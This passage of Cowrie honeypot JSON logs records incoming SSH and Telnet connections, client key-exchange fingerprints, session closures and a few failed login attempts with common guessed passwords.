cdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.607577Z","src_ip":"159.203.92.129","session":"acfa716a2ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ar","password":"123456","message":"login attempt [ar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.617407Z","src_ip":"159.203.92.129","session":"acfa716a2ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e256d24f665","protocol":"telnet","message":"New connection: 64.235.40.29:35468 (10.17.0.5:23) [session: 3e256d24f665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.656549Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35470,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7748ac16ccb","protocol":"telnet","message":"New connection: 64.235.40.29:35470 (10.17.0.5:23) [session: f7748ac16ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.817080Z"}
{"eventid":"cowrie.session.closed","duration":31.021146297454834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:38.042612Z","src_ip":"64.235.40.29","session":"2032bd1b9c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:38.622967Z","src_ip":"159.203.92.129","session":"acfa716a2ecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.663419246673584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:38.627706Z","src_ip":"64.235.40.29","session":"8b13d8990a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35480,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27cb1ced5c3","protocol":"telnet","message":"New connection: 64.235.40.29:35480 (10.17.0.5:23) [session: c27cb1ced5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:38.845611Z"}
{"eventid":"cowrie.session.closed","duration":30.603304862976074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:39.035734Z","src_ip":"64.235.40.29","session":"3f2165e6ddca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088639974594116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:39.106327Z","src_ip":"64.235.40.29","session":"00289e5a8e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35482,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ed2f8f82267","protocol":"telnet","message":"New connection: 64.235.40.29:35482 (10.17.0.5:23) [session: 4ed2f8f82267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:39.184013Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35438,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe820a296301","protocol":"telnet","message":"New connection: 64.235.40.29:35438 (10.17.0.5:23) [session: fe820a296301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:40.284703Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35496,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04884ea8480","protocol":"telnet","message":"New connection: 64.235.40.29:35496 (10.17.0.5:23) [session: e04884ea8480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:40.338057Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":54506,"dst_ip":"10.17.0.5","dst_port":23,"session":"df5171957fa3","protocol":"telnet","message":"New connection: 104.207.153.205:54506 (10.17.0.5:23) [session: df5171957fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:40.636648Z"}
{"eventid":"cowrie.session.closed","duration":31.51381754875183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:40.906179Z","src_ip":"64.235.40.29","session":"af99c821faeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35488,"dst_ip":"10.17.0.5","dst_port":23,"session":"58758b2fa1e5","protocol":"telnet","message":"New connection: 64.235.40.29:35488 (10.17.0.5:23) [session: 58758b2fa1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.004502Z"}
{"eventid":"cowrie.session.closed","duration":31.569211721420288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.012185Z","src_ip":"64.235.40.29","session":"707488954e81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4083b3e54214","protocol":"telnet","message":"New connection: 64.235.40.29:35516 (10.17.0.5:23) [session: 4083b3e54214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.183181Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35506,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ddd625285b0","protocol":"telnet","message":"New connection: 64.235.40.29:35506 (10.17.0.5:23) [session: 8ddd625285b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.391618Z"}
{"eventid":"cowrie.session.closed","duration":31.21652889251709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.520546Z","src_ip":"64.235.40.29","session":"23a57969c4d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bdf35a21ac2","protocol":"telnet","message":"New connection: 64.235.40.29:35460 (10.17.0.5:23) [session: 0bdf35a21ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.631147Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35540,"dst_ip":"10.17.0.5","dst_port":23,"session":"2afb2fe126f4","protocol":"telnet","message":"New connection: 64.235.40.29:35540 (10.17.0.5:23) [session: 2afb2fe126f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:41.956233Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35542,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac2d97c4c99e","protocol":"telnet","message":"New connection: 64.235.40.29:35542 (10.17.0.5:23) [session: ac2d97c4c99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:42.215813Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35532,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4efb1597de","protocol":"telnet","message":"New connection: 64.235.40.29:35532 (10.17.0.5:23) [session: 4f4efb1597de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:42.287089Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35558,"dst_ip":"10.17.0.5","dst_port":23,"session":"f454c6ca7d08","protocol":"telnet","message":"New connection: 64.235.40.29:35558 (10.17.0.5:23) [session: f454c6ca7d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:42.356443Z"}
{"eventid":"cowrie.session.closed","duration":30.69344472885132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:43.052038Z","src_ip":"64.235.40.29","session":"40929c5087fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0198974609375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:43.221627Z","src_ip":"64.235.40.29","session":"06c241918a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.535197973251343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:43.437901Z","src_ip":"64.235.40.29","session":"04f47b87e70b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35594,"dst_ip":"10.17.0.5","dst_port":23,"session":"8004ed3df83f","protocol":"telnet","message":"New connection: 64.235.40.29:35594 (10.17.0.5:23) [session: 8004ed3df83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:43.650291Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35602,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e63c89f75e0","protocol":"telnet","message":"New connection: 64.235.40.29:35602 (10.17.0.5:23) [session: 7e63c89f75e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:43.890743Z"}
{"eventid":"cowrie.session.closed","duration":30.636992931365967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:44.096716Z","src_ip":"64.235.40.29","session":"d13907493e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35606,"dst_ip":"10.17.0.5","dst_port":23,"session":"17cbae21189e","protocol":"telnet","message":"New connection: 64.235.40.29:35606 (10.17.0.5:23) [session: 17cbae21189e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:44.239188Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35616,"dst_ip":"10.17.0.5","dst_port":23,"session":"17333770fa4b","protocol":"telnet","message":"New connection: 64.235.40.29:35616 (10.17.0.5:23) [session: 17333770fa4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:44.834639Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55392,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f9766af2c59","protocol":"telnet","message":"New connection: 64.235.40.29:55392 (10.17.0.5:23) [session: 8f9766af2c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:44.976629Z"}
{"eventid":"cowrie.session.closed","duration":31.218127489089966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:45.169052Z","src_ip":"160.250.4.73","session":"180aa2c634c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55400,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b34ecde0a59","protocol":"telnet","message":"New connection: 64.235.40.29:55400 (10.17.0.5:23) [session: 3b34ecde0a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:45.263446Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55406,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2dd958f43a0","protocol":"telnet","message":"New connection: 64.235.40.29:55406 (10.17.0.5:23) [session: e2dd958f43a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:45.360116Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b09aac47df","protocol":"telnet","message":"New connection: 64.235.40.29:55416 (10.17.0.5:23) [session: b8b09aac47df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:45.365079Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55438,"dst_ip":"10.17.0.5","dst_port":23,"session":"19faf0aee5e7","protocol":"telnet","message":"New connection: 64.235.40.29:55438 (10.17.0.5:23) [session: 19faf0aee5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:45.722803Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55448,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d86798cc6a","protocol":"telnet","message":"New connection: 64.235.40.29:55448 (10.17.0.5:23) [session: 45d86798cc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:46.002747Z"}
{"eventid":"cowrie.session.closed","duration":30.36459445953369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:46.055711Z","src_ip":"64.235.40.29","session":"62a3fc7d271b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709567308425903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:46.138293Z","src_ip":"64.235.40.29","session":"f7825d32ce18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55450,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c9c7644cb0","protocol":"telnet","message":"New connection: 64.235.40.29:55450 (10.17.0.5:23) [session: 43c9c7644cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:46.184404Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c42f30ba14","protocol":"telnet","message":"New connection: 64.235.40.29:35584 (10.17.0.5:23) [session: d0c42f30ba14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:46.190708Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55454,"dst_ip":"10.17.0.5","dst_port":23,"session":"0817eaa4cb9b","protocol":"telnet","message":"New connection: 64.235.40.29:55454 (10.17.0.5:23) [session: 0817eaa4cb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:46.333640Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55422,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd3ab8bbaf51","protocol":"telnet","message":"New connection: 64.235.40.29:55422 (10.17.0.5:23) [session: cd3ab8bbaf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:47.519395Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55468,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1413c360bfb","protocol":"telnet","message":"New connection: 64.235.40.29:55468 (10.17.0.5:23) [session: a1413c360bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:47.854086Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55484,"dst_ip":"10.17.0.5","dst_port":23,"session":"92663db5aeeb","protocol":"telnet","message":"New connection: 64.235.40.29:55484 (10.17.0.5:23) [session: 92663db5aeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:47.949462Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"33127548c8a2","protocol":"telnet","message":"New connection: 64.235.40.29:55488 (10.17.0.5:23) [session: 33127548c8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.255072Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b09d29b347","protocol":"telnet","message":"New connection: 64.235.40.29:55492 (10.17.0.5:23) [session: 81b09d29b347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.401303Z"}
{"eventid":"cowrie.session.closed","duration":30.615846157073975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.462069Z","src_ip":"64.235.40.29","session":"8dae8b58c863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c363bf298c66","protocol":"telnet","message":"New connection: 64.235.40.29:55504 (10.17.0.5:23) [session: c363bf298c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.467937Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55518,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51d1188cc77","protocol":"telnet","message":"New connection: 64.235.40.29:55518 (10.17.0.5:23) [session: b51d1188cc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.472627Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55524,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6d5be0b0ca","protocol":"telnet","message":"New connection: 64.235.40.29:55524 (10.17.0.5:23) [session: 0e6d5be0b0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.694238Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55532,"dst_ip":"10.17.0.5","dst_port":23,"session":"18daaccf5f58","protocol":"telnet","message":"New connection: 64.235.40.29:55532 (10.17.0.5:23) [session: 18daaccf5f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.800784Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"000c17c62ebb","protocol":"telnet","message":"New connection: 64.235.40.29:55540 (10.17.0.5:23) [session: 000c17c62ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.804536Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55554,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4390635f1b","protocol":"telnet","message":"New connection: 64.235.40.29:55554 (10.17.0.5:23) [session: 5c4390635f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:48.903944Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55560,"dst_ip":"10.17.0.5","dst_port":23,"session":"20bea13a233a","protocol":"telnet","message":"New connection: 64.235.40.29:55560 (10.17.0.5:23) [session: 20bea13a233a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:49.588441Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"73beecb9462d","protocol":"telnet","message":"New connection: 64.235.40.29:55576 (10.17.0.5:23) [session: 73beecb9462d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.001024Z"}
{"eventid":"cowrie.session.closed","duration":30.97471785545349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.059234Z","src_ip":"64.235.40.29","session":"5cdd4727bb70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429142236709595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.109692Z","src_ip":"64.235.40.29","session":"8becd57341c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35574,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11487fe16ab","protocol":"telnet","message":"New connection: 64.235.40.29:35574 (10.17.0.5:23) [session: b11487fe16ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.175888Z"}
{"eventid":"cowrie.session.closed","duration":31.320026874542236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.312603Z","src_ip":"64.235.40.29","session":"f65960000504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08afaa581aa","protocol":"telnet","message":"New connection: 64.235.40.29:55578 (10.17.0.5:23) [session: b08afaa581aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.379696Z"}
{"eventid":"cowrie.session.closed","duration":30.650168895721436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.508025Z","src_ip":"64.235.40.29","session":"145d108c4819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":46646,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c923ffdf517","protocol":"ssh","message":"New connection: 186.80.18.158:46646 (10.17.0.5:22) [session: 5c923ffdf517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.932600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:50.937840Z","src_ip":"186.80.18.158","session":"5c923ffdf517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:51.021762Z","src_ip":"186.80.18.158","session":"5c923ffdf517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer12345","message":"login attempt [developer/developer12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:51.355014Z","src_ip":"186.80.18.158","session":"5c923ffdf517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8faf062bb9dd","protocol":"telnet","message":"New connection: 64.235.40.29:55584 (10.17.0.5:23) [session: 8faf062bb9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:51.360095Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55592,"dst_ip":"10.17.0.5","dst_port":23,"session":"441eb0960b4d","protocol":"telnet","message":"New connection: 64.235.40.29:55592 (10.17.0.5:23) [session: 441eb0960b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:51.374644Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55594,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fe93b7da08","protocol":"telnet","message":"New connection: 64.235.40.29:55594 (10.17.0.5:23) [session: f1fe93b7da08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:51.722890Z"}
